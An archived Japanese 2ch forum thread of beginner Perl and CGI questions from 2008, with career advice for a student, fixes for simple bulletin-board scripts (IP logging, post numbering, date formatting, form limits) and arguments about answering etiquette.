今のPerlはオブジェクト指向が完全でないとか、日本語で一部文字化けするとか
あるわけで、それを改善していくという方向はどうかなという提案です。
http://ja.wikipedia.org/wiki/%E3%81%BE%E3%81%A4%E3%82%82%E3%81%A8%E3%82%86%E3%81%8D%E3%81%B2%E3%82%8D
ま、アスペクト指向とかもあるからそっちへPerlを持っていくのも良いかもね。
0823perl好き情報3回生
2008/02/02(土) 09:07:03ID:???そうだったんですか!大学にそういう専門の先生がいて、僕も影響を受けて
この一年いろいろ構想を練りつつ勉強を重ねてきたのですが、、、
>>821
いろんな言語を使いこなせないといけないんですね。
僕はC,C++,Perl,Java,Javascriptがお遊び程度に使えます。
が、perlはともかく、他の4つは本当に中途半端です。
perlスレだからもう少しはperlを主軸にして生計を立てられるという意見があるかと
思いましたが、皆さん違うようですね。現実は厳しいということでしょうか。
0824nobodyさん
2008/02/02(土) 11:57:53ID:???また状況が変わってくるかもしれないよ。
0825nobodyさん
2008/02/02(土) 12:00:31ID:???実際には、「Perlしか知らない」の間違いじゃないのか?w
0826nobodyさん
2008/02/02(土) 12:16:08ID:???オブジェクト指向じゃないとだめって先入観は捨てましょう。
文字化けはどの言語でも日本語に限ったわけじゃないんだけど・・・
>>824
正規表現がすごいぞ
>>825
あえて誰も言わなかったことをw
0827nobodyさん
2008/02/02(土) 12:17:50ID:???0828perl好き情報3回生
2008/02/02(土) 13:36:26ID:9aX3NPkq2010年以降になりそうですが、その頃はまさに僕が現役ですね。
例えば、どんな変化が予想されますか?
>>825
僕なんて落ちこぼれもいいとこです。perlしかできないどころかperlも満足にできないです。
ですが一身上の都合により毎日猛勉強しているので
そのうちいろんな言語を使いこなせるようになるよとは先生に言われました。
ただ、先生は業界のことを全くご存知ない方なので、こうやって情報集めしています。
0829nobodyさん
2008/02/02(土) 13:47:22ID:???使ったことない言語でも言語仕様書を4-5日読めば使えるのが普通。
毎日猛勉するなら英語を勉強したほうが10万倍役に立つ。
0830nobodyさん
2008/02/02(土) 13:51:33ID:???今は Perl が下火で PHP や java が主流だけど、
これからは PHP や java が下火となり Perl が主流となる。
0831nobodyさん
2008/02/02(土) 13:53:43ID:???信じているのか、いないのか良く分からない件
0832perl好き情報3回生
2008/02/02(土) 13:53:53ID:???そうなんです。僕はある事情で人より頑張らないと追いついていけないみたいです。
つくづく才能がないなあと思います。学校では出来る人を目の前にすると凹みっぱなしです。
大学に入ってから自分の才能のなさに気づきました
でも親に申し訳が立たないので猛勉強してついていこうとしています。
猛勉強なんて偉そうな言葉使ってごめんなさい。
0833perl好き情報3回生
2008/02/02(土) 13:59:49ID:???>>930
perl6になるとそういうふうになるのですか。
最近perlをやってていいのか不安になっていたので心が落ち着きました。
>>931
先生は非常に尊敬しているし、その先生の「そのうち出来るよ」という言葉も僕
には大きな支えになっています。
でも、就職情報は先生に聞くのでなく自分で収集する学生が多いです。
0835nobodyさん
2008/02/02(土) 15:13:04ID:???藻前、なにか勘違いしてないか?
プログラミングってのは、コンピュータに呪文を唱えて仕事をさせる事じゃないぞ。
コンピュータという、言われた事しか出来ないモノに、指示を出して仕事をさせる事だ。
コンピュータはあいまいさがある人間の言葉で指示されても理解できないから、専用の言葉・文法を使う。
プログラミングを学ぶ上で一番大切なのは、自分が出したい指示をあいまいさなく、的確に表現できる能力を身につけることだ。
文法や単語(命令)なんかは、分からなきゃ辞典(リファレンス)を見ればいい。
0836nobodyさん
2008/02/02(土) 15:46:15ID:???まっすぐにその方向に進めばいいんでないの?
情報処理の資格を取ろうと思っている人が、突如法律の勉強を
したりしないのと同じ。
絶対に完璧で将来がある選択肢なんてないわけで、自分の思う方向、
好きな事に一生懸命に取り組むかどうか。
0837nobodyさん
2008/02/02(土) 17:14:06ID:???今業務でやってるのはPHP+MySQL
ちなみに、Perlはもちろんこと、Ruby、C/C++、VB、Java等も勉強した。
趣味で組むのはPerlかな。
0838nobodyさん
2008/02/02(土) 18:01:41ID:???「Perlをやりたい」んじゃないかなぁ。
0839nobodyさん
2008/02/02(土) 18:06:49ID:???Perlを使った仕事をすると言っても今からPerlを使いこなせるようになっている必要は無いだろう。
まずは本を読め。次に数学(離散数学系)を学べ。
それが出来るのは学生のうちだけだ。
0840perl好き情報三回生 ◆qqt5.0NxB6
2008/02/02(土) 21:53:31ID:???>>835 なるほど、要求を的確に表現する能力が大切なんですね。とてもためになります。
>>836 僕の場合その突如があるので危なっかしいです。
それに一生懸命すぎて身を滅ぼしがちなアンバランスな人間だと思います。
>>837 MySQLですか。実務的なDBの経験はほとんどないので、机上に留まらず精進します.
>>838 というよりもperl的な文化が好きです。ネットや身の回りでperlerに親しみを感じるので、
こうした人たちとこうした文化を創っていきたいと思ったんです。
>>839 高2と高3の頭は大学数学の本を読んでいたので、数学は得意です。
本は一応月に20冊くらい読みますが、やはり周りの人がすごすぎるので、
今の5倍は読みたいです。
0841perl好き情報三回生 ◆qqt5.0NxB6
2008/02/02(土) 21:55:40ID:???>>834 現段階ではc/c++をよく学ぶつもりですが、僕のような経験不足な人間には
いろんな言語を学ぶ必要性など到底分からないです
0842nobodyさん
2008/02/02(土) 23:48:00ID:???Perlも道具の一つだと認識し、道具選びは適材適所だって事を理解しろ。
ついでに言えば、学習用のプログラム言語は1個に絞っても桶だ。
ただ、面接対応で考えりゃPerlだけじゃ押しが弱い気もする。
0843nobodyさん
2008/02/03(日) 00:09:50ID:???今から独学でperl学ぶの? なんか色々矛盾してるな… 専攻変更したって言うことか?
0844nobodyさん
2008/02/03(日) 11:27:58ID:???0845perl好き情報三回生 ◆qqt5.0NxB6
2008/02/03(日) 23:32:26ID:???>>842 面接を考えるとperlだけじゃ弱いんですね。perl, c/c++, javascript, java, perl,
lisp, vbは勉強する予定です。そのうち、最初の2つ(perl, c/c++)に力点を置く予定です。
perlをとくに絶対視・唯一視しているわけでもないです。
言語に依存しない考えをいまのうちによく勉強することが大切なんですね。
>>843 専攻変更ではないですが、最初は数学科に行く予定でしたが、土壇場で情報に変えました。
将来perlの仕事につきたいという思いはもちろんありますが、それほど決まっていなくて、
今は情報収集しています。どこか矛盾していますか?
>>844 聞いた気もしますが、全然知りません。
0846nobodyさん
2008/02/03(日) 23:40:34ID:???COBOLはシステムを切り替えられる資金のあるところは人の入れ替えしてるが、無いところは細々と雇い入れてる。
まぁ、SIは先が無いので、エンドに引き抜かれないかぎり先は無いね。
0847nobodyさん
2008/02/03(日) 23:42:52ID:???感があって、なんか良く分からないな。
PHPやC#は、あえてはずしているというよりも、その存在を知らないのかもな。
で、このスレはPerlのくだすれであって、お前の人生相談用スレではないので、
スレ違いの話をするつもりなら、出て行ってくれないか?マ板でやったらどうだ。
0848nobodyさん
2008/02/04(月) 00:06:37ID:???0849nobodyさん
2008/02/04(月) 12:48:01ID:???いまだに仕事になってるから死ぬまではなんとかなるんじゃないかな
中小企業のWEB屋でいいならperlの仕事はあるぞ
0850nobodyさん
2008/02/04(月) 14:03:12ID:???0851nobodyさん
2008/02/05(火) 14:08:38ID:ke8bjavMわかる人お願いします。
<?php
//パラメータの取り出し
$CID = $_GET['cid'];
$cc = $_GET['cc'];
$SID = $_GET['sid'];
$CH = $_GET['ch'];
$C1 = $_GET['c1'];
//パラメータ判別
/*処理*/
//処理
header("Content-Type: text/plain; charset=Shift_JIS");
print"rc=0\r\n";
print"u1=http://www.abc.jp/OK.php\r\n";
/*処理*/
print"c1=AAA\r\n";
print"u2=http://www.abc.jp/err.php\r\n";
print"END\r\n";
?>
0853nobodyさん
2008/02/05(火) 14:23:16ID:ke8bjavM0854nobodyさん
2008/02/05(火) 16:02:31ID:???0855nobodyさん
2008/02/05(火) 22:54:03ID:???my $q = new CGI;
my $cid = $q -> param( 'cid' );
後同じ
print "Content-type: text/plain; charset=Shift_JIS\n\n";
print "rc=0\n";
後同じ
0856nobodyさん
2008/02/05(火) 23:10:03ID:???受け取った文字列を & で split して、さらに = で split して。という
処理から始まる。
CGI.pm使わないと同じような構文にはならないだろうね。
0857nobodyさん
2008/02/05(火) 23:13:32ID:LtG8FBU3電卓のcalc.exe)を終了させるにはどうやればいいですか?
perlに関する知識はttp://www.rfs.jp/sb/perl/こちらのサイト
を読み終えたくらいです。
0858nobodyさん
2008/02/05(火) 23:23:42ID:???0859nobodyさん
2008/02/05(火) 23:37:33ID:???0860857
2008/02/05(火) 23:49:41ID:LtG8FBU3>>858
返信ありがとうございます。windowsプログラミングについてもさっぱりなんですが
>>859さんのおっしゃるようにwin32api系のものを使えば出来そうな気がしたんですが。
linuxとかだとsystem(kill〜って感じでそのまま出来るんですかね。
>>859
返信ありがとうございます。
プロセスの終了も良く分かってないんですが、その辺の仕組みを僕くらいの低レベルでも
わかるように紹介されてるページとかご存知でしたらご紹介頂けたら幸いです。
0861nobodyさん
2008/02/06(水) 00:20:44ID:???0862nobodyさん
2008/02/06(水) 10:22:36ID:???CGI.pm
Mason
Sledge
Catalyst
Jifty
Reaction
間にいろいろハサんで欲すぃ
0863nobodyさん
2008/02/06(水) 10:35:41ID:???Kent
CGI.pm
CGI::Application
Mason
Sledge
Gantry
Catalyst
Jifty
Reaction
0864nobodyさん
2008/02/06(水) 11:59:40ID:???0865nobodyさん
2008/02/06(水) 16:07:31ID:???0866nobodyさん
2008/02/06(水) 17:39:26ID:z242xw4+一行テキスト と テキストエリア と 送信ボタン と hiddenがいくつか のフォームを作りました。
jcode.plを通して、デコードする仕組みにしました。
テキストエリアに、600文字以下の、少ない全角文字を入力し、送信ボタンをクリックすると、
ログファイルに記載され、意図した表示になるのですが。
テキストエリアに沢山の文字(662文字以上)を入れ、送信ボタンを押しても反応しません。
perlには、フォームに入力する文字制限などがあるのでしょうか?
600文字程度ですと、使用目的では文字数が足りないので、なんとか直したいのですがどうしたらよいでしょう?
0867866
2008/02/06(水) 17:42:41ID:z242xw4+IE6だと、ボタンをクリックしても無反応なのですが。
FireFoxだと、一応書き込みができました、
しかし、やはり全角文字600文字程のところから後が切れて、ログファイルに記録されます。
また、全てが半角の数字を入力した場合には、何文字でも入力できる感じです。
宜しくお願いします。
0868866
2008/02/06(水) 17:50:10ID:z242xw4+半角数字でも、1000文字程度しか書き込みができませんでした。
0869nobodyさん
2008/02/06(水) 17:50:25ID:???0870nobodyさん
2008/02/06(水) 17:51:53ID:???0871866
2008/02/06(水) 18:04:28ID:z242xw4+ありがとうございます
メソッドをポストにしたら出来ました!
0872nobodyさん
2008/02/08(金) 17:15:00ID:???eval { $test=; };
print "fin"
この三行スクリプトを実行するとfinが表示されずに
syntax error at test.pl line 2, near "=;"
Execution of test.pl aborted due to compilation errors.
が表示されるのは正常なActivePerl(forWin)およびevalの振る舞いですか?
0873872
2008/02/08(金) 17:24:04ID:ZczohSgBActivePerlのperl -vはPerl v.5.8.8 / build817です。
0874872
2008/02/08(金) 18:04:44ID:???拾えそうなイキフンで記述してあるリファレンスが誤りです。大変ありがとうございました。
0875nobodyさん
2008/02/08(金) 18:57:59ID:???$@
0876797
2008/02/14(木) 15:20:19ID:???実は>>798が教えてくれたページを参考に作ったプログラムだったのですが、そこに罠があったのです。
ファイル名をSJISにするということで、アップページの文字コードもSJISにしていたのですが、
SJISで特定の文字(表、ソ、十など)にはWindowsでパスの区切りに使う\のコードが入っているので、
その部分が区切りと解釈されて、ファイル名が切られていたのです。
そこで、アップページの文字コードをUTF8にした所、切られることなく正常動作するようになりました。
おまけ
最近遭遇し一応解決したネタを1つ。
なぜか、CGI::LiteとIE6(最近のパッチ以降?)の組み合わせで<INPUT type="file">が複数連続すると、
途中のファイル名が取得できません。ダミーで<INPUT type="hidden">を挟むと大丈夫です。
0877nobodyさん
2008/02/14(木) 16:19:19ID:???>なぜか、CGI::LiteとIE6(最近のパッチ以降?)の組み合わせで<INPUT type="file">が複数連続すると、
あーわかるわかる。初心者にありがちなバグだね。
おれもHTTP拡張のバウンダリ周りで苦労した。10年ぐらい前に。
0878nobodyさん
2008/02/18(月) 22:53:11ID:b8HgX1gh配列、@listの中には5つの要素が入っています。
そのなかの3つ目を削除するにはどうすれば良いですか?
$list[3] = ''; だと中身が空のまま要素数は変わりません…。
0879nobodyさん
2008/02/18(月) 23:31:32ID:???0882nobodyさん
2008/02/20(水) 18:51:36ID:???スレとレス
間違えてるぞ
0883nobodyさん
2008/02/20(水) 20:04:29ID:AT7Ymvry$〇〇 = $ENV{'REMOTE_ADDR'};
でIPを取得したのはわかったんですが、フォームの中に<input type=hidden name=△△ value=$○○>などで他人に書き込みさせても自分のIPが表示されてしまいます
色々ググったりしたんですが良く分かりません
優しい解説お願いします
0884nobodyさん
2008/02/20(水) 20:25:09ID:???hiddenタグでやろうとしていることがいまいち分からないが、
通常は、書き込んだ時にログファイルに一緒にIPアドレスを
書き込むものなんだが。
0885nobodyさん
2008/02/20(水) 20:30:56ID:???スクリプトは時刻表示とコメントだけの、一行掲示板の簡易なものです
一緒にとはどういうことなのでしょうか?
ログファイルには時刻とコメントしか載りません
超初心者ですいませんm(_ _)m
0886nobodyさん
2008/02/20(水) 20:42:58ID:???その、時刻とコメントを書き込むファイルに、IPアドレスも一緒に
書き込む方法があるでしょといいたいのだよ。
表示する際はそのデータは必ずしも出す必要は無いのだから。
それが嫌ならば、書き込みをしたときに内部的に別なファイルにも
IPアドレスと時刻を書き込ませるようにプログラムを書けばよい。
0887nobodyさん
2008/02/20(水) 20:55:23ID:???フォームにセットしなくても、書き込んだ人のIPはこれで取り出せるよ → $ENV{'REMOTE_ADDR'}
0888nobodyさん
2008/02/20(水) 20:55:38ID:???IPアドレスを一緒に書き込むプログラムの書き方を知りたいんです(;∇;)/~~色々ググって、配布されてるスクリプトから該当する部分を抽出して頑張ったんですが...良く分からなかったんです、
0889nobodyさん
2008/02/20(水) 20:57:55ID:???レスありがとうございますm(_ _)m
それでIPは表示されるのは分かったんですが、それをどこに設置すればログに書き込んだ人のIPが表示されるかが分からないんです(;∇;)/~~
0890nobodyさん
2008/02/20(水) 21:04:58ID:???open(OUT,">> log.txt");
$line = $ENV{'REMOTE_ADDR'};
print OUT $line;
close(OUT);
0892nobodyさん
2008/02/20(水) 21:14:53ID:???あったはずだが。
それらを読んでも分からないのであれば、何処かに君が書いたソースを
うpしてここに貼りなさい。気分が向いたら改変してやるからw
0893nobodyさん
2008/02/20(水) 22:19:30ID:???もう一つ質問させて下さいm(_ _)m
($sec,$min,$hour,$day,$mon,$year,$wday) = localtime(time);
$week = $weekday[$wday];
$mon++;
$date = "$mon月 $day日 $hour:$min";
という時刻表示のスクリプト(年が無駄にあるのは気にしないで下さいw)を使ってる?んですが、$minの所だけを1ケタの秒の時だけ01や02みたいに0を先頭に付けたいのですが、どのようにすれば良いのでしょうか?
ちなみに 2月20日 22:04
というような事です!
0894nobodyさん
2008/02/20(水) 22:24:58ID:???printf使うとか。
また、例のごとくそれの使い方が分からないということであれば、
以下のコードを付け加える。
if($min>9){
$min = "0" . $min;
}
0895nobodyさん
2008/02/20(水) 22:40:01ID:???($sec,$min,$hour,$mday,$mon,$year,$wday,$d,$d) = localtime;
$date = sprintf("%04d/%02d/%02d(%s) %02d:%02d:%02d", $year+1900, $mon+1, $mday,
('Sun','Mon','Tue','Wed','Thu','Fri','Sat')[$wday], $hour, $min, $sec);
print $date;
0896nobodyさん
2008/02/20(水) 22:48:10ID:???これはどうなの?
$date = sprintf("%2d月%2d日 %2d:%02d",$mon,$day,$hour,$min);
print $date;
0897nobodyさん
2008/02/20(水) 22:53:59ID:???$dは無くても良いぞ。
どうしても書きたいなら、undefにすべし
それと、
my( $year, $month, $day, $hour, $min, $sec, $wday ) = ( localtime() )[5,4,3,2,1,0];
って言うのを覚えると見た目に麗しい
0898nobodyさん
2008/02/20(水) 23:05:01ID:???足りない分の後ろの要素は無視されるから
必要なければ書かなくてよろし
0900nobodyさん
2008/02/20(水) 23:12:33ID:???23:06 とかできました(゜∀゜;ノ)ノ
また何かあったらよろしくお願いします!(b^ー°)
0901nobodyさん
2008/02/20(水) 23:34:16ID:???0904nobodyさん
2008/02/21(木) 16:13:36ID:VlnHmaCl[3]内容
[2]内容
[1]内容
みたいにレス番号を付けるにはどうしたら良いのでしょうか?
0906nobodyさん
2008/02/21(木) 17:10:04ID:???お前の質問の仕方は抽象杉でわけわかんねえんだよ。
質問したければお前が書いたコードをうpれ。話はそれからだ。
0907nobodyさん
2008/02/21(木) 17:42:47ID:???まあもう良いです
0908nobodyさん
2008/02/21(木) 18:09:09ID:???全データ読み込んで、内容の数を数えて、
・ 一番上の内容を表示する前に数えた数を
・ 次の内容を表示する前に(数えた数-1)を
と出していけばいんじゃね?
データフォーマットも表示部分のソースも無いんじゃ
エスパーでもないかぎり(ry
0909nobodyさん
2008/02/21(木) 18:17:46ID:???・自分なりの勉強したはずなのに「本当に調べたの?」といいたくなる程度であるところ。
・「もう良いです。」とすぐにさじをなげるところ。
もう良いというのならば、このままPerlも辞めた方がいいぞ。道はいくらでもあるんだから。
0910nobodyさん
2008/02/21(木) 21:37:27ID:???おれも子供の頃「関数内から抜けるコマンド何だっけ?」と電話で聞いたことある。あれは助かった。
でも何カ所も直したり、まして新規でBBSを作るなら、オマエそれ全部おれに書かせるのかって。
0911nobodyさん
2008/02/21(木) 23:40:01ID:???駄目だったとか、検索エンジンの使い方のコツをある程度体得しておかなければ
目的のコンテンツにたどり着けなかったりしたから、その気持ちは分かる。
Perlのサンプルソースを手に入れる時、検索を使うよりも、2chの専用スレの
テンプレのURL一覧を見た方が早いなと感じた場合もあった。
だけど、今は大分検索エンジンの使い勝手も良くなり、目的のものがヒット
しやすくなった。Perlのこの程度の事なら日本語だけでも大丈夫だしね。
この状況で、このレベルのことが分からないなら、もう無理だと思う。
0912nobodyさん
2008/02/21(木) 23:46:33ID:???ttp://upload.wikimedia.org/wikipedia/commons/b/b3/Larry_Wall_YAPC_2007.jpg
0913nobodyさん
2008/02/22(金) 07:19:54ID:???ここがどれだけ過疎ってるかを表してますね
0914nobodyさん
2008/02/22(金) 07:55:30ID:???0915910
2008/02/22(金) 10:59:13ID:???っつーかググレが一番要らない。何でもググレばわかる筈だよ。理論上。
「これどうやるの?」「正規表現」みたいな一行レスもググレと同じで意味が無い。
ググレ言っていいのは通常スレ内だけで、こういうスレは隔離用だから、答えたい人
だけが見て、答えたくない人は見なければいい。教えてgooと同じ。たとえば
「C 関数 戻る」
で検索すると、return()はなかなか出て来ない。だからといって普段Tcl/Tk専門で
やってるSUNの社員に、一時的な知識のために参考書を買わせるのも無駄が多い。
ただ全部は聞きに来るなよって。
0916nobodyさん
2008/02/22(金) 11:35:20ID:???後者は、情報にたどり着くまでの手助けを十分にしているといえる。
ひろゆきも、この簡潔な回答が出来るのは、2chの特徴であり、
他のサイトのくだらない挨拶をしなければならないところとの
大きな違いだといってたぞ。
0917nobodyさん
2008/02/22(金) 11:40:32ID:???正規表現で分かるのかよw
0918nobodyさん
2008/02/22(金) 12:38:27ID:???あとはPerlなんて一生触りたくない層が最も多い。つまり言語がPerlなのはあるツールが
元々Perlで書かれていたからで、欲しいのはINとOUTのデータだけ。
こういう層に正規表現をわざわざ勉強させる必要は無いし、あればとっくにやってる。
そういうわけで具体的に一連の処理を書くことが望ましい。べつに10秒で書けるんだから。
また追加モジュールの紹介も価値が低い。モジュールのインスコが一番難しいんだから。
rootが必要だし、客先のネットワークによって無保証のモジュールの導入を禁止されている。
必ずしも導入できなくはないが、自社でアップデート対応を保証しなくてはならない。
0919nobodyさん
2008/02/22(金) 13:47:46ID:???0921nobodyさん
2008/02/22(金) 16:15:50ID:???元のソフトがPerlで書かれててPerlなんか一生触りたくないなら、
INなりOUTなりを使い慣れたプログラム言語で作ったフィルタで修正すりゃいいだろ。
一生触りたくないプログラム言語で書かれたソフトのメンテなんて断ればいい。
「どうしても」と言われたら使い慣れたプログラム言語に移植する方向で交渉すればいい。
くだすれで質問した答えを意味も分からずコピペしたソフトを使わされる顧客は悲惨だな。
よほどCPANのモジュールぶちこんでもらった方が安心できるとオモワレ。
モジュールのインストールってそんなに難しいか?
インストール先を自分の権限範囲にすればroot権限いらないモジュールも多いと思うが?
ああ、>>918みたいなクレクレ厨じゃ英語のメッセージは読めないんだな。納得。
0922nobodyさん
2008/02/22(金) 20:36:06ID:???言えば、配布されているCGI-Perlスクリプトを少し直して使いたい人が非常に多い。
こういう層に向かって「勉強しろ」はありえない。
その人はそこで節約した時間を社会奉仕にあてるかもしれない。
Perlはおれの方が少し詳しいかもしれないけど、Perl知ってりゃ偉いわけじゃなし。
ググレとかモジュールのご紹介とかアホを晒す暇があったら処理を書けばいいし、
それが出来ない奴は消えりゃいい。
0923nobodyさん
2008/02/22(金) 20:39:07ID:???ソープランドでセックスしながら説教してるバカオヤジと同じだよ。
普通相手の人生なんて関係ないし興味もないよ。出た問いに答えればいい。
そういうスレなんだから。
0924nobodyさん
2008/02/22(金) 20:47:34ID:8Vusg7lr0925nobodyさん
2008/02/22(金) 20:48:52ID:???0926nobodyさん
2008/02/22(金) 21:26:16ID:???くだすれで顧客とか言ってる奴=>918と>921で桶?
>918
>客先のネットワークによって無保証のモジュールの導入を禁止されている。
>921
>くだすれで質問した答えを意味も分からずコピペしたソフトを使わされる顧客は悲惨だな。
どっちにしろ最初に客先とか言い出した>918がアフォだと思うが。
0927nobodyさん
2008/02/22(金) 21:28:15ID:???どこを縦読み?
0928nobodyさん
2008/02/22(金) 21:40:20ID:???0929nobodyさん
2008/02/23(土) 02:02:05ID:???何で話の流れとは関係の無い仮定の話が出てきてるの?w
0930nobodyさん
2008/02/23(土) 02:07:11ID:???例えばこっちと一緒にするとか。
Perlコーディング初心者質問スレ Part 56
http://pc11.2ch.net/test/read.cgi/php/1189939783/
0931nobodyさん
2008/02/23(土) 03:04:09ID:mggQq9GV掲示板にレス番号を付けるにはどのようにすれば良いのでしょうか?
3.内容
2.内容
1.内容
みたいにして行きたいのですが...具体的に教えて下さい
0933nobodyさん
2008/02/23(土) 03:31:09ID:???5. 資料を示さず持論が支持されていると思わせる
例:(世界では、犬は哺乳類ではないという見方が一般的だ)
0934921
2008/02/23(土) 16:43:38ID:???>配布されているCGI-Perlスクリプトを少し直して使いたい人が非常に多い。
>こういう層に向かって「勉強しろ」はありえない。
スクリプト直すのに、意味も分からずコピペして直すのか。すげえな。
「客先の」とか言ってるって事は、それを金取って(もしくは客へのサービスとして)提供するわけだろ?
拾ってきたスクリプトに掲示板で質問してコピペで手直し加えて金儲けとか、せこすぎる。
そんなもん外注に出せよ。
0936nobodyさん
2008/02/24(日) 03:14:09ID:G7lDCCArhttp://nurupo.biz
さんのdownloadの簡易コメントって奴です
[2/24] 内容
みたいになるのを
[2/24]3.内容
[2/24]2.内容
[2/24]1.内容
みたいにしたいんです
0937nobodyさん
2008/02/24(日) 06:46:40ID:???ダウソしてソース見た。分かった事は下記の通り。
・ データファイルには 日付<TAB>内容 が1件1行で入っていて、レス番は入ってない
・ 最大記事数を超えた分はデータファイルから消える
・ 新しいレスはファイルの先頭に追加される(古いレスほど後ろにある)
・ 表示する時に@DATA(配列)に全レスを読み込んでいる($DATA[0]がファイル内のレス総数)
・ sub print 内では、$begin、$end、$iにファイルの先頭から何行目かを示す数値が入る
とりあえず考えてみた。
試してないから、ちゃんと動くかどうかは保証しない。
どんなレス番の振り方をしたいかわからんので思いつくのを並べてみた。
1. 表示してるページ内でのレス番
97行目 print "[$date] ". ($end - $begin - $i + 1) .". $text\n";
2. ファイルに残ってるレス総数中のレス番
97行目 print "[$date] ". ($DATA[0] - $begin - $i +1) .". $text\n";
3. それまでに書かれた全部の中でのレス番
何行も修正しなきゃならんしデータフォーマットも変わる(=今使ってるとしたらデータ読めなくなる)から、
最初からレス番機能が付いてる別のソフト探したほうがヨサゲ。
どうしてもってんなら考えてやらんこともない。
0938nobodyさん
2008/02/24(日) 10:48:11ID:???0939nobodyさん
2008/02/24(日) 16:26:23ID:mX6RyV0Tわざわざ本当にありがとうございます
2.のファイルに残ってるレス総数中のレス番
で表示をしたいのですが、2.を試してみたところ
[時間]3.内容
[時間]2.内容
[時間]1.内容
[時間]0.内容
[時間]-1.内容
といった風に、どんどんマイナスになってしまいます・・・
0940nobodyさん
2008/02/24(日) 18:48:04ID:???スマソ。
97行目 print "[$date] ". ($DATA[0] - $i +1) .". $text\n";
0941nobodyさん
2008/02/24(日) 19:21:05ID:mX6RyV0T97行目 print "[$date] ". ($DATA[0] - $i +1) .". $text\n";
でやっても>>939と同様の結果になってしまいます・・・
0942nobodyさん
2008/02/24(日) 20:13:54ID:???75行目 my $max = @DATA;
76行目 my $res_no = undef;
96行目と97行目の間に追加 $res_no = $max - $i + 1;
97行目 print "[$date] $res_no. $text\n";
でどうYO?
0943nobodyさん
2008/02/24(日) 20:33:50ID:mX6RyV0Tできました!!!
すごいですヽ( ´ ∇ ` )ノ ワーイ
本当にありがとうございましたワーイ!!\(o ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄▽ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄o)/ワーイ!!
0944nobodyさん
2008/02/24(日) 22:00:31ID:???0945nobodyさん
2008/02/25(月) 00:21:00ID:U/vtQwh8データを読み込んで1行目とフォームの内容が同じの時にエラー表示させればいいんですよね?
0947nobodyさん
2008/02/25(月) 01:33:39ID:???・時間が近すぎる場合、IPアドレスが同一かをチェック
・投稿内容が(数回前までと)同じかをチェック
>>945の方法だと、二重投稿を防止することは出来ても、あらしの連投は防止出来ないよね。
ま、質問自体が二重投稿を防止する方法なので、特に言うことは無いと思うが。
0948nobodyさん
2008/02/25(月) 06:27:19ID:???画面出力命令のオンオフ切替が頻発し
連結してから纏めて出力した方が速い云々
ベンチマークしてないし本当かどうか知らんけどね
0949nobodyさん
2008/02/25(月) 06:44:13ID:???仕様変更でその場で出力じゃなく変数に代入とかになるとウザイ。
0950nobodyさん
2008/02/25(月) 09:45:58ID:???http://boobar.hp.infoseek.co.jp/bench/print.txt
0951nobodyさん
2008/02/25(月) 22:07:36ID:???0952nobodyさん
2008/02/26(火) 22:28:43ID:TAx5gJzCPHPではmime_content_type()という関数があるみたいなんだけど、
Perlではどうやるの?
0953nobodyさん
2008/02/27(水) 00:36:15ID:NLm3jzH+@LOG[0]でやったんですがどうも違ったみたいで
0954nobodyさん
2008/02/27(水) 02:31:06ID:???use CGI;
my $q = new CGI;
$q->uploadInfo($filename)->{'Content-Type'};
>>953
@LOG[@LOG-1]
0955954
2008/02/27(水) 02:37:08ID:???use CGI;
my $q = new CGI;
my $filename = $q->param('uploaded_file');
$q->uploadInfo($filename)->{'Content-Type'};
1行書き忘れた。
0956952,953
2008/02/27(水) 03:43:32ID:???0957nobodyさん
2008/02/27(水) 07:27:20ID:???一番最後の要素ってことなら
$LOG[$#LOG]
0958nobodyさん
2008/02/27(水) 11:51:23ID:???0960nobodyさん
2008/02/28(木) 04:40:38ID:???0961952
2008/02/28(木) 08:35:02ID:5gTQ/iMEレスありがとう
それはロダとかでファイルをアップロードした時の判別方法だよね?
書き忘れたんだけど、LWP::Simpleで外部画像を取得した時に判別する方法を教えてほしいです。
お願いします。
0962nobodyさん
2008/02/28(木) 11:37:27ID:???LWP::Simple はシンプル故に、レスポンスヘッダと
コンテントボディを同時には取得できない。
http://search.cpan.org/dist/libwww-perl/lib/LWP/Simple.pm
普通に LWP でリクエストを送って得たレスポンスからなら
同時に取得できる。
http://search.cpan.org/dist/libwww-perl/lwpcook.pod
http://search.cpan.org/dist/libwww-per/lib/HTTP/Headers.pm
PHP の Fileinfo() 相当のモジュールはこれ。
http://search.cpan.org/dist/File-MMagic-1.27/
0963nobodyさん
2008/02/28(木) 17:15:11ID:TKGGhpyN<FORM ACTION="test.cgi" METHOD="POST"><INPUT TYPE="TEXT" NAME="f" cols="10"><INPUT TYPE="TEXT" NAME="id" cols="10"><INPUT TYPE="SUBMIT" VALUE="GO">
でtest.cgiが
#!/usr/local/bin/perl
use strict;
use CGI;
require"jcode.pl";
my $cgi=CGI::new();
my $f=$cgi->param('f');
my $id=$cgi->param('id');
@test = ($f,$id);
$role = int(rand 6);
my $html=<<"EOM";
<HTML>
<HEAD>
<TITLE>test</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=Shift-JIS">
</HEAD>
<BODY>
$test[$role]
EOM
print<<"EOM";
Content-type:text/html
$html
EOM
exit;
1;
という様に、formで受けた$fと$idをランダムで表示させたいのですがerror500
となってしまいます。パーミッションは合ってると思います。なぜなのでしょうか?
0964nobodyさん
2008/02/28(木) 17:16:30ID:TKGGhpyN$role = int(rand 2);
です
0966nobodyさん
2008/02/28(木) 17:58:13ID:TKGGhpyN改行が多いと認識されたため、空行は省いて書き込みしました
ですので
print<<"EOM";
Content-type:text/html
$html
EOM
で書いてもerror500となります
0967nobodyさん
2008/02/28(木) 18:11:34ID:???#!/usr/local/bin/perl
use CGI::Carp qw(fatalsToBrowser);
use strict;
0969nobodyさん
2008/02/28(木) 18:18:37ID:???0970nobodyさん
2008/02/28(木) 18:21:36ID:???どっかのサイトか本でそんな紹介されてるのかな?
CGI.pmは問題ないんだけど、new CGI;かCGI->new;て書く癖つけとかないと
他のモジュールでクラスが渡らなくて泣きそうでない?
0971nobodyさん
2008/02/28(木) 18:31:10ID:???0972nobodyさん
2008/02/28(木) 18:56:16ID:TKGGhpyN[Thu Feb 28 18:54:48 2008] new.cgi: Global symbol "$cgi" requires explicit package name at new.cgi line 6.
[Thu Feb 28 18:54:48 2008] new.cgi: Global symbol "$cgi" requires explicit package name at new.cgi line 7.
[Thu Feb 28 18:54:48 2008] new.cgi: Global symbol "@test" requires explicit package name at new.cgi line 8.
[Thu Feb 28 18:54:48 2008] new.cgi: Global symbol "$role" requires explicit package name at new.cgi line 9.
